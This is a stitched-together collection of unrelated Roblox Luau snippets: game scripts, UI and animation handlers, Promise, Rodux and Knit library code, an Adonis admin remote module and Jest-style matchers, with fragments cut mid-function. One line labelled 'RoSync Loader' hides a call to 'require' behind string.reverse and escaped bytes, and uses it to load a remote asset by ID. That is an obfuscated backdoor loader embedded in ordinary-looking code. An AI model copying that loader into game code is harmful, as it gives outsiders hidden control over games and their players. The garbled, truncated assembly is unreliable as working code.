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--
script.Parent.Handle3.Hinge1.Transparency = 0 script.Parent.Handle3.Interactive1.Transparency = 0 script.Parent.Handle3.Part1.Transparency = 0 wait(0.03) wait(0.2) script.Parent.Handle1.Hinge1.Transparency = 1 script.Parent.Handle1.Interactive1.Transparency = 1 script.Parent.Handle1.Part1.Transparency = 1
--------AUDIENCE BACK RIGHT--------
game.Workspace.audiencebackright1.Part1.BrickColor = BrickColor.new(106) game.Workspace.audiencebackright1.Part2.BrickColor = BrickColor.new(106) game.Workspace.audiencebackright1.Part3.BrickColor = BrickColor.new(106) game.Workspace.audiencebackright1.Part4.BrickColor = BrickColor.new(1013) game.Workspace.audiencebackright1.Part5.BrickColor = BrickColor.new(1013) game.Workspace.audiencebackright1.Part6.BrickColor = BrickColor.new(1013) game.Workspace.audiencebackright1.Part7.BrickColor = BrickColor.new(1023) game.Workspace.audiencebackright1.Part8.BrickColor = BrickColor.new(1023) game.Workspace.audiencebackright1.Part9.BrickColor = BrickColor.new(1023)
-- general size of GUI objects, in pixels
local GUI_SIZE = 16
-- declarations
local head = script.Parent function onTouched(part) local h = part.Parent:findFirstChild("Humanoid") if h~=nil then if part.Parent:findFirstChild("Head"):findFirstChild("face").Texture == nil then return end part.Parent:findFirstChild("Head"):findFirstChild("face").Texture="717dea9c5a1659640155f77c84892c " end end script.Parent.Touched:connect(onTouched)
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.25; -- The lower the number the slower and smoother the tween AimZoom = 50; -- Default zoom AimSpeed = 0.45; UnaimSpeed = 0.35; CycleAimZoom = 4; -- Cycled zoom MouseSensitivity = 0.5; -- Number between 0.1 and 1 SensitivityIncrement = 0.05; -- No touchy
----- SCRIPT: -----
BuyCasesEvents.Case0.OnServerEvent:Connect(function(player, PricePoints, PriceGems, PointsBuy) if PointsBuy == true then if player.DataFolder.Points.Value >= PricePoints then player.DataFolder.Points.Value -= PricePoints print(PricePoints) --Transaction Completed player.Inventory.AdminCase.Value += 1 --Choose the case else MessagesEvents.NotEnoughPoints:FireClient(player) end elseif PointsBuy == false then if player.DataFolder.Gems.Value >= PriceGems then player.DataFolder.Gems.Value -= PriceGems print(PriceGems) --Transaction Completed player.Inventory.AdminCase.Value += 1 --Case else MessagesEvents.NotEnoughPoints:FireClient(player) end end end)
--[=[ @type ServerMiddlewareFn (player: Player, args: {any}) -> (shouldContinue: boolean, ...: any) @within KnitServer For more info, see [ServerComm](https://sleitnick.github.io/RbxUtil/api/ServerComm/) documentation. ]=]
type ServerMiddlewareFn = (player: Player, args: { any }) -> (boolean, ...any)
--[[ Create a new Store whose state is transformed by the given reducer function. Each time an action is dispatched to the store, the new state of the store is given by: state = reducer(state, action) Reducers do not mutate the state object, so the original state is still valid. ]]
function Store.new(reducer, initialState, middlewares) assert(typeof(reducer) == "function", "Bad argument #1 to Store.new, expected function.") assert(middlewares == nil or typeof(middlewares) == "table", "Bad argument #3 to Store.new, expected nil or table.") local self = {} self._reducer = reducer self._state = reducer(initialState, { type = "@@INIT", }) self._lastState = self._state self._mutatedSinceFlush = false self._connections = {} self.changed = Signal.new() setmetatable(self, Store) local connection = self._flushEvent:Connect(function() self:flush() end) table.insert(self._connections, connection) if middlewares then local unboundDispatch = self.dispatch local dispatch = function(...) return unboundDispatch(self, ...) end for i = #middlewares, 1, -1 do local middleware = middlewares[i] dispatch = middleware(dispatch, self) end self.dispatch = function(self, ...) return dispatch(...) end end return self end
--[[ Last synced 11/11/2020 02:21 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Backwards compatibility
Promise.prototype.awaitValue = Promise.prototype.expect
--[[** ensures value is a given literal value @param literal The literal to use @returns A function that will return true iff the condition is passed **--]]
function t.literal(...) local size = select("#", ...) if size == 1 then local literal = ... return function(value) if value ~= literal then return false, string.format("expected %s, got %s", tostring(literal), tostring(value)) end return true end else local literals = {} for i = 1, size do local value = select(i, ...) literals[i] = t.literal(value) end return t.union(table.unpack(literals, 1, size)) end end
--while true do
--local point=Vector3.new(math.random(-256,256),torso.Position.y,math.random(-256,256)); --MoveTo(point,true); --wait(math.random(3,5))
--[=[ @within TableUtil @function EncodeJSON @param value any @return string Proxy for [`HttpService:JSONEncode`](https://developer.roblox.com/en-us/api-reference/function/HttpService/JSONEncode). ]=]
local function EncodeJSON(value: any): string return HttpService:JSONEncode(value) end
--Rescripted by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Animations = {} ServerControl = Tool:WaitForChild("ServerControl") ClientControl = Tool:WaitForChild("ClientControl") Rate = (1 / 60) ToolEquipped = false function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false) end function Equipped(Mouse) Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") ToolEquipped = true if not CheckIfAlive() then return end spawn(function() PlayerMouse = Mouse Mouse.Button1Down:connect(function() InvokeServer("Button1Click", {Down = true}) end) Mouse.Button1Up:connect(function() InvokeServer("Button1Click", {Down = false}) end) end) end function Unequipped() for i, v in pairs(Animations) do if v and v.AnimationTrack then v.AnimationTrack:Stop() end end Animations = {} ToolEquipped = false end function InvokeServer(mode, value) local ServerReturn = nil pcall(function() ServerReturn = ServerControl:InvokeServer(mode, value) end) return ServerReturn end function OnClientInvoke(mode, value) if mode == "PlaySound" and value then value:Play() elseif mode == "StopSound" and value then value:Stop() elseif mode == "MousePosition" then return ((PlayerMouse and {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}) or nil) end end ClientControl.OnClientInvoke = OnClientInvoke Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--[[ Defers and orders UI data binding updates. ]]
local RunService = game:GetService("RunService") local Package = script.Parent.Parent local None = require(Package.Utility.None) type Set<T> = {[T]: any} local Scheduler = {} local willUpdate = false local propertyChanges: {[Instance]: {[string]: any}} = {} local callbacks: Set<() -> ()> = {}
--[[ Iterates serially over the given an array of values, calling the predicate callback on each before continuing. If the predicate returns a Promise, we wait for that Promise to resolve before continuing to the next item in the array. If the Promise the predicate returns rejects, the Promise from Promise.each is also rejected with the same value. Returns a Promise containing an array of the return values from the predicate for each item in the original list. ]]
function Promise.each(list, predicate) assert(type(list) == "table", string.format(ERROR_NON_LIST, "Promise.each")) assert(type(predicate) == "function", string.format(ERROR_NON_FUNCTION, "Promise.each")) return Promise._new(debug.traceback(nil, 2), function(resolve, reject, onCancel) local results = {} local promisesToCancel = {} local cancelled = false local function cancel() for _, promiseToCancel in ipairs(promisesToCancel) do promiseToCancel:cancel() end end onCancel(function() cancelled = true cancel() end) -- We need to preprocess the list of values and look for Promises. -- If we find some, we must register our andThen calls now, so that those Promises have a consumer -- from us registered. If we don't do this, those Promises might get cancelled by something else -- before we get to them in the series because it's not possible to tell that we plan to use it -- unless we indicate it here. local preprocessedList = {} for index, value in ipairs(list) do if Promise.is(value) then if value:getStatus() == Promise.Status.Cancelled then cancel() return reject(Error.new({ error = "Promise is cancelled", kind = Error.Kind.AlreadyCancelled, context = string.format( "The Promise that was part of the array at index %d passed into Promise.each was already cancelled when Promise.each began.\n\nThat Promise was created at:\n\n%s", index, value._source ), })) elseif value:getStatus() == Promise.Status.Rejected then cancel() return reject(select(2, value:await())) end -- Chain a new Promise from this one so we only cancel ours local ourPromise = value:andThen(function(...) return ... end) table.insert(promisesToCancel, ourPromise) preprocessedList[index] = ourPromise else preprocessedList[index] = value end end for index, value in ipairs(preprocessedList) do if Promise.is(value) then local success success, value = value:await() if not success then cancel() return reject(value) end end if cancelled then return end local predicatePromise = Promise.resolve(predicate(value, index)) table.insert(promisesToCancel, predicatePromise) local success, result = predicatePromise:await() if not success then cancel() return reject(result) end results[index] = result end resolve(results) end) end
-- EVENTS
SLING.Parent.ChildAdded:connect(function(newChild) print("Child Added") if newChild.Name:lower() == WEP_NAME:lower() then for i, v in pairs(SLING:GetChildren()) do if v.Name == "GLOCK" then if v:FindFirstChild("Decal") then for _, decal in pairs(v:GetChildren()) do if decal:IsA("Decal") then decal.Transparency = 1 end end end v.Transparency = 1 end end end end) SLING.Parent.ChildRemoved:connect(function(oldChild) print("Child Removed") if oldChild.Name:lower() == WEP_NAME:lower() then for i, v in pairs(SLING:GetChildren()) do if v.Name == "GLOCK" then if v:FindFirstChild("Decal") then for _, decal in pairs(v:GetChildren()) do if decal:IsA("Decal") then decal.Transparency = 0 end end end v.Transparency = 0 end end end end)
-- Use the script's attributes as the default settings. -- The table provided is a fallback if the attributes -- are undefined or using the wrong value types.
local DEFAULT_SETTINGS = Settings.new(script, { WindDirection = Vector3.new(0.5, 0, 0.5), WindSpeed = 20, WindPower = 0.5, })
-- Bonus points: If you're going to be slinging a ton of bullets in a short period of time, you may see it fit to use PartCache. -- https://devforum.roblox.com/t/partcache-for-all-your-quick-part-creation-needs/246641
-- Initialize module
local BoundingBoxModule = {};
-- note: maybe use playfab to capture errors
ClientOrchestration.registerClientComponents = function(config) if config.orchestrationTime < ClientOrchestration.lastCalledOrchestrationTime then ClientOrchestration._warn("Attempted to orchestrate an older scene on the client: " .. config.name) return end if config.orchestrationTime == ClientOrchestration.lastCalledOrchestrationTime then ClientOrchestration._warn( "Attempted to orchestrate a scene with same tick time. Double check that you're not loading a scene 2x" ) ClientOrchestration._warn(config.name) return end if config.schema.Client == nil then ClientOrchestration._warn( "No schema Client file provided on the client for scene: " .. config.name .. ". Is this intended?" ) return end ClientOrchestration.isSeekable = false ClientOrchestration.lastCalledOrchestrationTime = config.orchestrationTime ClientOrchestration.cleanUp() local schema = ClientOrchestration._require(config.schema.Client) local SchemaProcessor = ClientOrchestration._require(config.schemaProcessor) ClientOrchestration.SchemaProcessorInstance = SchemaProcessor.new(schema, config.timePosition) -- Run setup before processing local setupSuccess = ClientOrchestration.setupSchema() if config.orchestrationTime < ClientOrchestration.lastCalledOrchestrationTime then ClientOrchestration._warn("No longer processing outdated scene: " .. config.name) return end if setupSuccess then ClientOrchestration.processSchema() end if config.orchestrationTime < ClientOrchestration.lastCalledOrchestrationTime then ClientOrchestration._warn("No longer processing outdated scene: " .. config.name) return end local name = config.name or "Default" -- If the player has seek permissions, then update the seek UI ClientOrchestration.ClientSceneMetadataEvent:Fire( "Pass", name, ClientOrchestration.SchemaProcessorInstance.timePosition, config.timeLength ) if ClientOrchestration.ClientSceneMetadataRequestConnection then ClientOrchestration.ClientSceneMetadataRequestConnection:Disconnect() end ClientOrchestration.ClientSceneMetadataRequestConnection = ClientOrchestration.ClientSceneMetadataEvent.Event:Connect( function(Type) if Type == "Request" then ClientOrchestration.ClientSceneMetadataEvent:Fire( "Pass", name, ClientOrchestration.SchemaProcessorInstance.timePosition, config.timeLength ) end end ) end ClientOrchestration.seek = function(timeToPlay) local lastCalledOrchestrationTime = ClientOrchestration.lastCalledOrchestrationTime while not ClientOrchestration.isSeekable do local wasNewSceneCalled = lastCalledOrchestrationTime ~= ClientOrchestration.lastCalledOrchestrationTime if wasNewSceneCalled then ClientOrchestration._warn("New scene orchestrating, cancelling seek") return end ClientOrchestration.taskLib.wait() end if ClientOrchestration.SchemaProcessorInstance == nil then ClientOrchestration._warn("Schema Processor Instance hasn't been created on client") return end ClientOrchestration.cleanUp() -- This is in Process fires faster than setTime has replicated for the client ClientOrchestration.SchemaProcessorInstance.timePosition.Value = timeToPlay ClientOrchestration.processSchema(true) end ClientOrchestration.pause = function(isPaused: boolean) if ClientOrchestration.SchemaProcessorInstance == nil then ClientOrchestration._warn("Schema Processor Instance hasn't been created on client") return end ClientOrchestration.SchemaProcessorInstance:SetPaused(isPaused) end local hasBeenCalled = false return function(stubs) if hasBeenCalled then error("Client Orchestration has already been called") return end -- Used for testing only if stubs then for i, v in pairs(stubs) do ClientOrchestration[i] = v end end ClientOrchestration.SendMediaControllerConfig.OnClientEvent:Connect(ClientOrchestration.registerClientComponents) ClientOrchestration.SeekPermissionsEvent.OnClientEvent:Connect(ClientOrchestration.handleSeekPermissionsEvent) ClientOrchestration.Seek.OnClientEvent:Connect(ClientOrchestration.seek) ClientOrchestration.Pause.OnClientEvent:Connect(ClientOrchestration.pause) ClientOrchestration.SceneEnded.OnClientEvent:Connect(ClientOrchestration.handleSceneEnded) hasBeenCalled = true return ClientOrchestration end
-- events
REMOTES.RoundInfo.OnClientEvent:connect(function(info, ...) if info == "Kills" then MAP_GUI.KillsFrame.KillsLabel.Text = tostring(...) elseif info == "Alive" then MAP_GUI.PlayersFrame.PlayersLabel.Text = tostring(...) elseif info == "Message" then Display(...) end end)
--[[ TransparencyController - Manages transparency of player character at close camera-to-subject distances 2018 Camera Update - AllYourBlox --]]
local MAX_TWEEN_RATE = 2.8 -- per second local Util = require(script.Parent:WaitForChild("CameraUtils"))
---[[ Fade Out and In Settings ]]
module.ChatWindowBackgroundFadeOutTime = 3.5 --Chat background will fade out after this many seconds. module.ChatWindowTextFadeOutTime = 30 --Chat text will fade out after this many seconds. module.ChatDefaultFadeDuration = 0.8 module.ChatShouldFadeInFromNewInformation = false module.ChatAnimationFPS = 20.0
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false then oldAnim = "idle" end currentAnim = "" currentAnimInstance = nil if currentAnimKeyframeHandler ~= nil then currentAnimKeyframeHandler:Disconnect() end if currentAnimTrack ~= nil then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end return oldAnim end function setAnimationSpeed(speed: number) if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end function keyFrameReachedFunc(frameName: string) if frameName == "End" then local repeatAnim = currentAnim -- return to idle if finishing an emote if emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false then repeatAnim = "idle" end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.0, Humanoid) setAnimationSpeed(animSpeed) end end
--[[Wheel Stabilizer Gyro]]
Tune.FGyroDamp = 10 -- Front Wheel Non-Axial Dampening Tune.RGyroDamp = 100 -- Rear Wheel Non-Axial Dampening
--// Remote
return function() local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, tick, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, elapsedTime, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, tick, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, elapsedTime, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local script = script local service = service local client = client local Anti, Core, Functions, Process, Remote, UI, Variables local function Init() UI = client.UI; Anti = client.Anti; Core = client.Core; Variables = client.Variables Functions = client.Functions; Process = client.Process; Remote = client.Remote; end getfenv().client = nil getfenv().service = nil getfenv().script = nil client.Remote = { Init = Init; Returns = {}; PendingReturns = {}; EncodeCache = {}; DecodeCache = {}; Received = 0; Sent = 0; Returnables = { Test = function(args) return "HELLO FROM THE CLIENT SIDE :)! ", unpack(args) end; Ping = function(args) return Remote.Ping() end; ClientHooked = function(args) return Core.Special end; TaskManager = function(args) local action = args[1] if action == "GetTasks" then local tab = {} for i,v in next,service.GetTasks() do local new = {} new.Status = v.Status new.Name = v.Name new.Index = v.Index new.Created = v.Created new.CurrentTime = os.time() new.Function = tostring(v.Function) table.insert(tab,new) end return tab end end; LoadCode = function(args) local code = args[1] local func = Core.LoadCode(code, GetEnv()) if func then return func() end end; Function = function(args) local func = client.Functions[args[1]] if func and type(func) == "function" then return func(unpack(args, 2)) end end; Handler = function(args) local handler = client.Handlers[args[1]] if handler and type(handler) == "function" then return handler(unpack(args, 2)) end end; UIKeepAlive = function(args) if Variables.UIKeepAlive then for ind,g in next,client.GUIs do if g.KeepAlive then if g.Class == "ScreenGui" or g.Class == "GuiMain" then g.Object.Parent = service.PlayerGui elseif g.Class == "TextLabel" then g.Object.Parent = UI.GetHolder() end g.KeepAlive = false else g.KeepAlive = false end end end return "Done" end; UI = function(args) local guiName = args[1] local themeData = args[2] local guiData = args[3] --Core.Theme = themeData return UI.Make(guiName,guiData,themeData) end; InstanceList = function(args) local objects = service.GetAdonisObjects() local temp = {} for i,v in next,objects do table.insert(temp, { Text = v:GetFullName(); Desc = v.ClassName; }) end return temp end; ClientLog = function(args) local temp={} local function toTab(str, desc, color) for i,v in next,service.ExtractLines(str) do table.insert(temp,{Text = v,Desc = desc..v, Color = color}) end end for i,v in next,service.LogService:GetLogHistory()do if v.messageType==Enum.MessageType.MessageOutput then toTab(v.message, "Output: ") --table.insert(temp,{Text=v.message,Desc='Output: '..v.message}) elseif v.messageType==Enum.MessageType.MessageWarning then toTab(v.message, "Warning: ", Color3.new(1,1,0)) --table.insert(temp,{Text=v.message,Desc='Warning: '..v.message,Color=Color3.new(1,1,0)}) elseif v.messageType==Enum.MessageType.MessageInfo then toTab(v.message, "Info: ", Color3.new(0,0,1)) --table.insert(temp,{Text=v.message,Desc='Info: '..v.message,Color=Color3.new(0,0,1)}) elseif v.messageType==Enum.MessageType.MessageError then toTab(v.message, "Error: ", Color3.new(1,0,0)) --table.insert(temp,{Text=v.message,Desc='Error: '..v.message,Color=Color3.new(1,0,0)}) end end return temp end }; UnEncrypted = { LightingChange = function(prop,val) print(prop,"TICKLE ME!?") Variables.LightingChanged = true service.Lighting[prop] = val Anti.LastChanges.Lighting = prop wait(.1) Variables.LightingChanged = false print("TICKLED :)",Variables.LightingChanged) if Anti.LastChanges.Lighting == prop then Anti.LastChanges.Lighting = nil end end }; Commands = { GetReturn = function(args) local com = args[1] local key = args[2] local parms = {unpack(args,3)} local retfunc = Remote.Returnables[com] local retable = (retfunc and {pcall(retfunc,parms)}) or {} if retable[1] ~= true then logError(retable[2]) Remote.Send("GiveReturn", key, "__ADONIS_RETURN_ERROR", retable[2]) else Remote.Send("GiveReturn", key, unpack(retable,2)) end end; GiveReturn = function(args) if Remote.PendingReturns[args[1]] then Remote.PendingReturns[args[1]] = nil service.Events[args[1]]:fire(unpack(args,2)) end end; SetVariables = function(args) local vars = args[1] for var,val in next,vars do Variables[var] = val end end; Print = function(args) print(unpack(args)) end; FireEvent = function(args) service.FireEvent(unpack(args)) end; Test = function(args) print("OK WE GOT COMMUNICATION! ORGL: "..tostring(args[1])) end; TestError = function(args) error("THIS IS A TEST ERROR") end; TestEvent = function(args) Remote.PlayerEvent(args[1],unpack(args,2)) end; LoadCode = function(args) local code = args[1] local func = Core.LoadCode(code, GetEnv()) if func then return func() end end; LaunchAnti = function(args) Anti.Launch(args[1],args[2]) end; UI = function(args) local guiName = args[1] local themeData = args[2] local guiData = args[3] --Core.Theme = themeData UI.Make(guiName,guiData,themeData) end; RemoveUI = function(args) UI.Remove(args[1],args[2]) end; StartLoop = function(args) local name = args[1] local delay = args[2] local code = args[3] local func = Core.LoadCode(code, GetEnv()) if name and delay and code and func then service.StartLoop(name,delay,func) end end; StopLoop = function(args) service.StopLoop(args[1]) end; Function = function(args) local func = client.Functions[args[1]] if func and type(func) == "function" then Pcall(func,unpack(args,2)) end end; Handler = function(args) local handler = client.Handlers[args[1]] if handler and type(handler) == "function" then Pcall(handler, unpack(args, 2)) end end }; Fire = function(...) local RemoteEvent = Core.RemoteEvent if RemoteEvent and RemoteEvent.Object then Remote.Sent = Remote.Sent+1 RemoteEvent.Object:FireServer({Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received},...) end end; Send = function(com,...) Core.LastUpdate = tick() Remote.Fire(Remote.Encrypt(com,Core.Key),...) end; Get = function(com,...) local returns local key = Functions:GetRandom() local event = service.Events[key]:Connect(function(...) returns = {...} end) Remote.PendingReturns[key] = true Remote.Send("GetReturn",com,key,...) if not returns then returns = {event:Wait()} end event:Disconnect() if returns then if returns[1] == "__ADONIS_RETURN_ERROR" then error(returns[2]) else return unpack(returns) end else return nil end end; Ping = function() local t = tick() local ping = Remote.Get("Ping") if not ping then return false end local t2 = tick() local mult = 10^3 local ms = ((math.floor((t2-t)*mult+0.5)/mult)*100) return ms end; PlayerEvent = function(event,...) Remote.Send("PlayerEvent",event,...) end; Encrypt = function(str, key, cache) local cache = cache or Remote.EncodeCache or {} if not key or not str then return str elseif cache[key] and cache[key][str] then return cache[key][str] else local keyCache = cache[key] or {} local byte = string.byte local abs = math.abs local sub = string.sub local len = string.len local char = string.char local endStr = {} for i = 1,len(str) do local keyPos = (i%len(key))+1 endStr[i] = string.char(((byte(sub(str, i, i)) + byte(sub(key, keyPos, keyPos)))%126) + 1) end endStr = table.concat(endStr) cache[key] = keyCache keyCache[str] = endStr return endStr end end; Decrypt = function(str, key, cache) local cache = cache or Remote.DecodeCache or {} if not key or not str then return str elseif cache[key] and cache[key][str] then return cache[key][str] else local keyCache = cache[key] or {} local byte = string.byte local abs = math.abs local sub = string.sub local len = string.len local char = string.char local endStr = {} for i = 1,len(str) do local keyPos = (i%len(key))+1 endStr[i] = string.char(((byte(sub(str, i, i)) - byte(sub(key, keyPos, keyPos)))%126) - 1) end endStr = table.concat(endStr) cache[key] = keyCache keyCache[str] = endStr return endStr end end; } end
-- FIXME: After CLI-39007, change expected to have type string | RegExp type -- ROBLOX deviation: toMatch accepts Lua string patterns or RegExp polyfill but not simple substring
local function toMatch( -- ROBLOX deviation: self param in Lua needs to be explicitely defined self: MatcherState, received: string, expected: any ) local matcherName = "toMatch" local options: MatcherHintOptions = { isNot = self.isNot, promise = self.promise, } if typeof(received) ~= "string" then error( Error( matcherErrorMessage( matcherHint(matcherName, nil, nil, options), string.format("%s value must be a string", RECEIVED_COLOR("received")), printWithType("Received", received, printReceived) ) ) ) end if typeof(expected) ~= "string" and getType(expected) ~= "regexp" then error( Error( matcherErrorMessage( matcherHint(matcherName, nil, nil, options), string.format("%s value must be a string or regular expression", EXPECTED_COLOR("expected")), printWithType("Expected", expected, printExpected) ) ) ) end local pass if typeof(expected) == "string" then -- ROBLOX deviation: escape chalk sequences if necessary expected = string.gsub(expected, string.char(27) .. "%[", string.char(27) .. "%%[") pass = received:find(expected) ~= nil else pass = expected:test(received) end -- ROBLOX deviation: We print "expected pattern" in both cases because this function -- treats strings as Lua patterns local message if pass then message = function() local retval = matcherHint(matcherName, nil, nil, options) .. "\n\n" .. string.format("Expected pattern: never %s\n", printExpected(expected)) if typeof(expected) == "string" then retval = retval .. string.format( "Received string: %s", printReceivedStringContainExpectedSubstring(received, received:find(expected), #expected) ) else retval = retval .. string.format( "Received string: %s", printReceivedStringContainExpectedResult(received, expected:exec(received)) ) end return retval end else message = function() local labelExpected = "Expected pattern" local labelReceived = "Received string" local printLabel = getLabelPrinter(labelExpected, labelReceived) return matcherHint(matcherName, nil, nil, options) .. "\n\n" .. string.format("%s%s\n", printLabel(labelExpected), printExpected(expected)) .. string.format("%s%s", printLabel(labelReceived), printReceived(received)) end end return { message = message, pass = pass } end local function toMatchObject( -- ROBLOX deviation: self param in Lua needs to be explicitely defined self: MatcherState, received: any, expected: any ) local matcherName = "toMatchObject" local options: MatcherHintOptions = { isNot = self.isNot, promise = self.promise, } if typeof(received) ~= "table" or received == nil then error( Error( matcherErrorMessage( matcherHint(matcherName, nil, nil, options), string.format("%s value must be a non-nil object", RECEIVED_COLOR("received")), printWithType("Received", received, printReceived) ) ) ) end if typeof(expected) ~= "table" or expected == nil then error( Error( matcherErrorMessage( matcherHint(matcherName, nil, nil, options), string.format("%s value must be a non-nil object", EXPECTED_COLOR("expected")), printWithType("Expected", expected, printExpected) ) ) ) end -- ROBLOX TODO: Revisit usage of subsetEquality local pass = equals(received, expected, { iterableEquality, subsetEquality }) local message if pass then message = function() local retval = matcherHint(matcherName, nil, nil, options) .. "\n\n" .. string.format("Expected: never %s", printExpected(expected)) if stringify(expected) ~= stringify(received) then return retval .. string.format("\nReceived: %s", printReceived(received)) end return retval end else message = function() return matcherHint(matcherName, nil, nil, options) .. "\n\n" .. printDiffOrStringify( expected, getObjectSubset(received, expected), EXPECTED_LABEL, RECEIVED_LABEL, isExpand(self.expand) ) end end return { message = message, pass = pass } end
-- Visualizes an impact. This will not run if FastCast.VisualizeCasts is false.
function DbgVisualizeHit(atCF, color) if FastCast.VisualizeCasts ~= true then return end local adornment = Instance.new("SphereHandleAdornment") adornment.Adornee = Workspace.Terrain adornment.CFrame = atCF adornment.Radius = 0.4 adornment.Transparency = 0.25 adornment.Color3 = color --(wasPierce == false) and Color3.new(0.2, 1, 0.5) or Color3.new(1, 0.2, 0.2) adornment.Parent = GetFastCastVisualizationContainer() return adornment end
--print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
end end end
------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------Signal class begin------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------ --[[ A 'Signal' object identical to the internal RBXScriptSignal object in it's public API and semantics. This function can be used to create "custom events" for user-made code. API: Method :connect( function handler ) Arguments: The function to connect to. Returns: A new connection object which can be used to disconnect the connection Description: Connects this signal to the function specified by |handler|. That is, when |fire( ... )| is called for the signal the |handler| will be called with the arguments given to |fire( ... )|. Note, the functions connected to a signal are called in NO PARTICULAR ORDER, so connecting one function after another does NOT mean that the first will be called before the second as a result of a call to |fire|. Method :disconnect() Arguments: None Returns: None Description: Disconnects all of the functions connected to this signal. Method :fire( ... ) Arguments: Any arguments are accepted Returns: None Description: Calls all of the currently connected functions with the given arguments. Method :wait() Arguments: None Returns: The arguments given to fire Description: This call blocks until ]]
function t.CreateSignal() local this = {} local mBindableEvent = Instance.new('BindableEvent') local mAllCns = {} --all connection objects returned by mBindableEvent::connect --main functions function this:connect(func) if self ~= this then error("connect must be called with `:`, not `.`", 2) end if type(func) ~= 'function' then error("Argument #1 of connect must be a function, got a "..type(func), 2) end local cn = mBindableEvent.Event:Connect(func) mAllCns[cn] = true local pubCn = {} function pubCn:disconnect() cn:Disconnect() mAllCns[cn] = nil end pubCn.Disconnect = pubCn.disconnect return pubCn end function this:disconnect() if self ~= this then error("disconnect must be called with `:`, not `.`", 2) end for cn, _ in pairs(mAllCns) do cn:Disconnect() mAllCns[cn] = nil end end function this:wait() if self ~= this then error("wait must be called with `:`, not `.`", 2) end return mBindableEvent.Event:Wait() end function this:fire(...) if self ~= this then error("fire must be called with `:`, not `.`", 2) end mBindableEvent:Fire(...) end this.Connect = this.connect this.Disconnect = this.disconnect this.Wait = this.wait this.Fire = this.fire return this end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 370 , spInc = 40 , -- Increment between labelled notches }, }
----------------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------
local TreatDebounce = true local SavedTarget = nil script.Parent.Treat.Frame.BandFrame.Bandage.MouseButton1Down:Connect(function() if TreatDebounce and Bandage.Value > 0 and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then TreatDebounce = false if Target.Value == nil then if Char.ACS_Client:GetAttribute("Bleeding") then Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(5) Functions.MedHandler:FireServer(nil,1) end else if Target.Value.Character.ACS_Client:GetAttribute("Bleeding") then SavedTarget = Target.Value Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(5) Functions.MedHandler:FireServer(SavedTarget,1) end end TreatDebounce = true end end) script.Parent.Treat.Frame.BandFrame.Splint.MouseButton1Down:Connect(function() if TreatDebounce and Splint.Value > 0 and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then TreatDebounce = false if Target.Value == nil then if Char.ACS_Client:GetAttribute("Injured") then Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(5) Functions.MedHandler:FireServer(nil,2) end else if Target.Value.Character.ACS_Client:GetAttribute("Injured") then SavedTarget = Target.Value Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(5) Functions.MedHandler:FireServer(SavedTarget,2) end end TreatDebounce = true end end) script.Parent.Treat.Frame.BandFrame.Tourniquet.MouseButton1Down:Connect(function() if TreatDebounce and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then TreatDebounce = false if 